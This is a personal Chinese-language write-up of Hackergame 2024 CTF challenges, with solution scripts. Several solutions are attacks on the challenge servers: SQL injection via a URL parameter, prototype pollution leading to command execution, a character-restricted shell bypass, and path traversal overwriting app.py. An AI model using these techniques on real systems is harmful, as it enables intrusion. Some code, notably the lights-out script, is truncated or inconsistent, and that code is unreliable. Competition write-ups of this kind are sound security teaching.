Featured image of post Hackergame 2024 个人 Writeup

Hackergame 2024 个人 Writeup

签到、喜欢做签到的 CTFer 你们好呀、猫咪问答(Hackergame 十周年纪念版)、打不开的盒、每日论文太多了、比大小王、不宽的宽字符、PowerfulShell、Node.js is Web Scale、PaoluGPT、强大的正则表达式、优雅的不等式、不太分布式的软总线、关灯(1-3)、禁止内卷

前言

这次比赛的题目超级好玩。选取了一些题目来写writeup,希望对大家有所帮助。

第一次进榜单

签到

直接点一下提交,发现url的最后有个?pass=false,改成?pass=true即可。

喜欢做签到的 CTFer 你们好呀

打开网页,发现是个仿终端的界面,输入help,发现提供了所有的命令,逐个尝试发现env命令可以查看环境变量,发现flag1

在js中搜索flag,发现https://www.nebuu.la/_next/static/chunks/pages/index-5cb01f7ec808f452.js 中有cat指令特判了.flag,遂尝试cat .flag,发现flag2。

猫咪问答(Hackergame 十周年纪念版)

  1. 大语言模型会把输入分解为一个一个的 token 后继续计算,请问这个网页的 HTML 源代码会被 Meta 的 Llama 3 70B 模型的 tokenizer 分解为多少个 token?(5 分)

直接从Hugging Face 上获得 meta-llama/Meta-Llama-3-70Btokenizer.json,然后分解即可。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
# Description: Tokenize a string using Meta-Llama-3-70B tokenizer
from tokenizers import Tokenizer

tokenizer = Tokenizer.from_file("tokenizer.json")

with open("index.html", "r", encoding="utf-8") as file:
    html_content = file.read()

output = tokenizer.encode(html_content)
print(output.ids)
print(len(output.tokens))

打不开的盒

使用任意3D建模软件打开即可,这里因为懒得下直接用科协的电脑打开了。 请选择你的拍屏导师 (请选择你的拍屏导师)

每日论文太多了

在PDF中全文搜索flag,发现Figure 4中有一处空白,下载pdf之后使用编辑器打开,删除这里的白色遮罩即可看到flag。

比大小王

模拟输入显然不可行,对手一秒十题恐怖如斯,拼尽全力无法战胜。好在js没有混淆,阅读源码得知比赛题目从/game中获得,在网页上完成比赛后还需要POST到/submit,于是写了个脚本模拟提交。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests

url = "http://202.38.93.141:12122/game"
headers = {
    "content-type": "application/json",
    "cookie": "xxx"}
data = "{}"

resp = requests.post(url, headers=headers, data=data)
response = resp.json()
print(response)
inputs = response["values"]
print(inputs)
r = [">" if pair[0] > pair[1] else "<" for pair in inputs]
set_cookie = resp.headers.get('set-cookie')
url2 = "http://202.38.93.141:12122/submit"
print(str({"inputs": r}))
if set_cookie:
    headers['cookie'] = set_cookie
response = requests.post(url2, headers=headers, data=str({"inputs": r}).replace("'", '"'))
response = response.json()
print(response)

不宽的宽字符

wchar形式读入程序然后加上L"you_cant_get_the_flag",然后强制类型转换成char后读这个文件

题目的意思是让我们构造一些宽字符,使被转换成char后变成Z:\\theflag\0,后面的\0是字符串结束符,会被C风格的fopen函数识别为字符串结束,从而忽略掉程序中的you_cant_get_the_flag

这几个字符可以直接按ASCII码两两组合起来(要倒过来),而最后落单的\0可以直接用0x00后面随机填充一个字节即可。

可以写程序来验证一下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
char *c= (char*)filename.c_str();
char *c2= "Z:\\theflag";
strcpy(c,c2);
    for (int i = 0; i < strlen(c); i++)
{
    std::cout<<std::hex<<(int)c[i]<<" ";
}
std::cout<<std::endl;
    for(int i=0;i<filename.size();i++)
{
    std::cout<<std::hex<<(int)filename[i]<<" ";
}
std::cout<<std::endl;

输出:

1
3a5a 745c 6568 6c66 6761 0 61 6e 74 5f 67 65 74 5f 74 68 65 5f 66 6c 61 67

说明 3a5a 745c 6568 6c66 6761 0 会转换成 Z:\\theflag\0

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
from pwn import *

p = remote('202.38.93.141', 14202)

#token 

# 输入 3a5a 745c 6568 6c66 6761 0011 的十六进制数据
payload_unicode = '\u3a5a\u745c\u6568\u6c66\u6761\u1100'
p.sendline(payload_unicode)
p.interactive()

PowerfulShell

构造不用'\";,.%^*?!@#%^&()><\/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0的shell命令getflag

难点在于构造字符,发现$` 没有被ban,那直接执行~然后把结果用个变量存下来,慢慢拼接最后得到shell

1
2
3
4
5
6
7
_1=~

# _1的内容是/players,这里截取了l和s,并把ls的结果赋值给_2
_2=`${_1:2:1}${_1:7:1} 

#_2 的内容是PowerfulShell.sh
${_2:14:2} ## 截取_2中的sh并执行

完成getshell,随后cat /flag即可。

Node.js is Web Scale

观察source code,发现有dict合并操作,于是想到原型链污染,只需要给每个对象添加个flag属性,值为cat /flag,这样/execute?cmd=flag的时候就会RCE

在网页上填入key为 __proto__.flag,value为 cat /flag

随后访问 /execute?cmd=flag 就可以得到flag。

PaoluGPT

爬虫题,获得主页的 html,然后解析出所有 a 标签的 href,然后爬取,获得 flag1

conversation_id是 uuid,无法遍历,于是阅读源码,发现有sql注入点

1
2
3
4
5
6
results = execute_query("select id, title from messages where shown = true", fetch_all=True)

···

results = execute_query(f"select title, contents from messages where id = '{conversation_id}'")
return render_template("view.html", message=Message(None, results[0], results[1]))

构造 payload select title, contents from messages where id ='1' OR shown = false AND '1'='1'

访问 /view?conversation_id=1' OR shown = false AND '1'='1 即可获得flag2

强大的正则表达式

好耶!是离散数学题!

Easy

flag1要求匹配十进制下被16整除的数,可以直接匹配最后四位。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
str1= '(16|32|64|(0|1|2|3|4|5|6|7|8|9)*(0000|0016|0032))'
strall = '('
for i in range(0, 1000, 16):
    strall += str(i) + '|'
strall +='(0|1|2|3|4|5|6|7|8|9)*('
for i in range(0, 10000, 16):
    # 补足四位
    i4 = str(i).zfill(4)
    strall += i4 + '|'
strall = strall[:-1] + '))'
print(strall)

Medium

flag2要求匹配二进制下被13整除的数,直接搜索发现这个问题可以转化成有限状态自动机(DFA)的问题,构造一个DFA,随后转化成正则语言。观察到题目中的刚好仅允许|()*这些符号,因此可以构造出与、或、闭包,这个方向是正确的。

二进制下的转移线路很简单,可以构造一个DFA,状态为0-12,每个状态接受0-1的转移,最后统计从0开始的环路即可。

在Github上找到了一个repo tchajed/div-regex 提供了DFA转化成正则表达式的代码,我们仅需建图即可

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
from dfa import Dfa
from gnfa import Gnfa

def divisible_by(n):
    delta = []
    for s in range(n):
        s_delta = {}
        for d in range(2):
            x = str(d)
            s_delta[x] = (s * 2 + d)%n
        delta.append(s_delta)
    return Dfa(delta, set([0]), 0)

dfa = divisible_by(11).minimal()
r = Gnfa.dfa_re(dfa)
ans = r.to_re()
print(ans)

Hard

情况变得复杂起来,需要构造一个DFA,状态为0-7,每个状态接受0-9的转移,最后统计从0开始的环路。

枚举每个Stage的出边,实现一个带初始值的crc3_gsm函数,接受当前点的状态和此时的边,这条边会指向 crc3计算的结果,最后即可完成DFA的构造。

值得注意的是在DFA中State的值是中间状态,而CRC-3/GSM的需要在运算后^0x07,只有Stage 7在^0x07后为0,因此最后回归状态应该是7。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from dfa import Dfa
from gnfa import Gnfa

# Function to calculate CRC-3/GSM checksum
def crc3_gsm(data, init=0x00):
    poly = 0x03
    crc = init
    data = data.encode()
    for byte in data:
        for i in range(8):
            bit = (byte >> (7 - i)) & 1
            crc = ((crc << 1) & 0x07) ^ (poly if (bit != ((crc >> 2) & 1)) else 0)
    return crc

# Function to build the state machine for the DFA
def build_state_machine():
    delta = []
    for s in range(8):
        s_delta = {}
        for d in range(10):
            x = str(d)
            s_delta[x] = crc3_gsm(x, s)
        delta.append(s_delta)
    return Dfa(delta, set([7]), 0)

dfa = build_state_machine().minimal()
r = Gnfa.dfa_re(dfa).to_re()
print(r)

优雅的不等式

注意到知乎上文章 【科普】如何优雅地“注意到”关于e、π的不等式,可以直接套用这个不等式。

然后调整参数,使其既小于400的长度,又足够紧(在[0,1]非负),即可得到flag。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import sympy as sp

x, a, b = sp.symbols('x a b')
m, n = 40,80

def getAns(n,m,p,q):
    exp = x**(2*m) * (1 - x**2)**n * (a + b * x**2) / (1 + x**2)
    exp = sp.simplify(exp)
    F = sp.integrate(exp, (x, 0, 1))
    F = sp.simplify(F)
    #sp.pprint(sp.simplify(F))

    # Condition equations based on coeff(F, pi) and the given equations
    coeff_F_pi = F.coeff(sp.pi)
    eq1 = coeff_F_pi - 1
   # sp.pprint(F)
    eq2 = F - coeff_F_pi * sp.pi + sp.Rational(p, q)
    #sp.pprint(eq1)

    # Solve for a and b
    solution = sp.solve([eq1, eq2], (a, b))
    exp2 = exp.subs(solution)
    # Output the solution
    return str(sp.simplify(exp2))

from pwn import *

# Connect to the server
r = remote('202.38.93.141', 14514)

# Get the number of test cases
print(r.recvline())
token = 'I love dw'
r.sendline(token)

# Please prove that pi>=p/q
cnt = 1
while True:
    st = r.recvline().decode()
    print(st)
    if 'Please' not in st:
        continue
    st=st.split('=')[1].split('/')
    if len(st)==2:
        p=int(st[0])
        q=int(st[1])
    else:
        p=int(st[0])
        q=1
    an= getAns(n,m,p,q)
    an=an.replace('x**2','x*x').replace(' ','')
    print(f'Case {cnt}: {an}')
    cnt+=1
    r.sendline(an)

p.interactive()

不太分布式的软总线

Flag1

直接调用GetFlag1方法即可。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#include <gio/gio.h>
#include <glib.h>

int main(int argc, char *argv[]) {
  GError *error = NULL;
  GDBusConnection *connection;
  GVariant *result;

  // 连接到系统总线
  connection = g_bus_get_sync(G_BUS_TYPE_SYSTEM, NULL, &error);
  if (error != NULL) {
    g_printerr("Error connecting to system bus: %s\n", error->message);
    g_clear_error(&error);
    return 1;
  }

  // 调用 GetFlag1 方法
  result = g_dbus_connection_call_sync(
      connection,
      "cn.edu.ustc.lug.hack.FlagService", // 服务名称
      "/cn/edu/ustc/lug/hack/FlagService", // 对象路径
      "cn.edu.ustc.lug.hack.FlagService", // 接口名称
      "GetFlag1", // 方法名称
      g_variant_new("(s)", "Please give me flag1"), // 参数
      G_VARIANT_TYPE("(s)"), // 返回类型
      G_DBUS_CALL_FLAGS_NONE,
      -1,
      NULL,
      &error);

  if (error != NULL) {
    g_printerr("Error calling GetFlag1: %s\n", error->message);
    g_clear_error(&error);
    return 1;
  }

  // 解析返回值
  const gchar *flag1;
  g_variant_get(result, "(&s)", &flag1);
  g_print("Flag1: %s\n", flag1);

  // 清理
  g_variant_unref(result);
  g_object_unref(connection);

  return 0;
}

Flag2

题目要求我们给出一个文件描述符,然后服务端会向这个文件描述符写入flag2,但由于我们并没有创建文件的权限,所以我们可以使用管道来实现。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#include <unistd.h>
#include <fcntl.h>
#include <gio/gio.h>
#include <glib.h>
#include <stdio.h> 

int main() {
  int pipefd[2];
  if (pipe(pipefd) == -1) {
    perror("pipe");
    return 1;
  }

  // 写入数据到管道
  const char *pipe_message = "Please give me flag2\n"; // 更改变量名
  write(pipefd[1], pipe_message, strlen(pipe_message));
  close(pipefd[1]); // 关闭写端

  // 创建一个 GDBusMessage 并设置文件描述符
  GDBusMessage *dbus_message = g_dbus_message_new_method_call( // 更改变量名
      "cn.edu.ustc.lug.hack.FlagService", "/cn/edu/ustc/lug/hack/FlagService",
      "cn.edu.ustc.lug.hack.FlagService", "GetFlag2");
  GUnixFDList *fd_list = g_unix_fd_list_new();
  g_unix_fd_list_append(fd_list, pipefd[0], NULL);
  g_dbus_message_set_unix_fd_list(dbus_message, fd_list);
  g_object_unref(fd_list);

  // 设置参数
  GVariant *params = g_variant_new("(h)", 0); // 传递文件描述符索引
  g_dbus_message_set_body(dbus_message, params);

  // 调用方法并获取响应
  GError *error = NULL;
  GDBusConnection *connection = g_bus_get_sync(G_BUS_TYPE_SYSTEM, NULL, &error);
  if (error != NULL) {
    g_printerr("Error getting bus: %s\n", error->message);
    g_error_free(error);
    return 1;
  }

  GDBusMessage *response = g_dbus_connection_send_message_with_reply_sync(
      connection, dbus_message, G_DBUS_SEND_MESSAGE_FLAGS_NONE, -1, NULL, NULL,
      &error);
  if (error != NULL) {
    g_printerr("Error sending message: %s\n", error->message);
    g_error_free(error);
    return 1;
  }

  // 处理响应
  GVariant *body = g_dbus_message_get_body(response);
  const gchar *flag;
  g_variant_get(body, "(&s)", &flag);
  g_print("Received flag: %s\n", flag);

  // 清理
  g_object_unref(response);
  g_object_unref(connection);
  close(pipefd[0]); // 关闭读端

  return 0;
}

Flag3

题目只能给名为GetFlag3的进程返回flag3,

1
prctl(PR_SET_NAME, "getflag3", 0, 0, 0);

关灯

Flag1~Flag3

Light Out 问题本质上就是一个线性代数问题,我们可以通过构造矩阵来解决。

灯(i,j,k)开关能影响到的灯有(i,j,k), (i+1,j,k), (i-1,j,k), (i,j+1,k), (i,j-1,k), (i,j,k+1), (i,j,k-1)。

我们可以通过构造一个矩阵,对于一个灯(i,j,k),我们定义他的下标为i*n*n+j*n+k,那么我们可以构造一个n^3*n^3的矩阵,对于每一个灯,我们可以构造一个n^3的向量,表示这个灯控制的灯。

最后解这个异或线性方程组即可。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import os
import numpy
import zlib
import base64
import time
import hashlib
os.environ['TERM'] = 'xterm'

from pwn import *
F = GF(2)

n = 11
A = Matrix(F, n**3, n**3, sparse=True)
B = vector(F, n**3)

dx = [-1,1,0,0,0,0]
dy = [0,0,-1,1,0,0]
dz = [0,0,0,0,-1,1]

for i in range(n):
    for j in range(n):
        for k in range(n):
            u = i*n*n + j*n + k
            A[u,u] = 1
            for l in range(6):
                x = i + dx[l]
                y = j + dy[l]
                z = k + dz[l]
                if x >= 0 and x < n and y >= 0 and y < n and z >= 0 and z < n:
                    v = x*n*n + y*n + z


pwnlib.term.term_mode = False
p = remote
#p.interactive()
# Receive the welcome message
print(p.recvline())
token = 't
# 发送数据
p.sendline(token)
print(p.recv(1000))
p.sendline('4')
st01=p.recvline().decode()
print(st01)
print(p.recv(4096))

for i in range(n**3):
    B[i] = int(st01[i])


solutions = A.solve_right(B)

ans = ""
for i in range(n**3):
    ans += str(solutions[i])
p.sendline(ans)
p.interactive()

禁止内卷

题目中强调了--reload参数,那么应该是要修改py源文件,考虑如何写入文件.

阅读源码发现有一个/submit接口,可以上传文件,没有处理文件名,存在路径穿越漏洞,在上传文件时修改POST请求的filename字段为../app.py,即可直接覆盖app.py,实现RCE。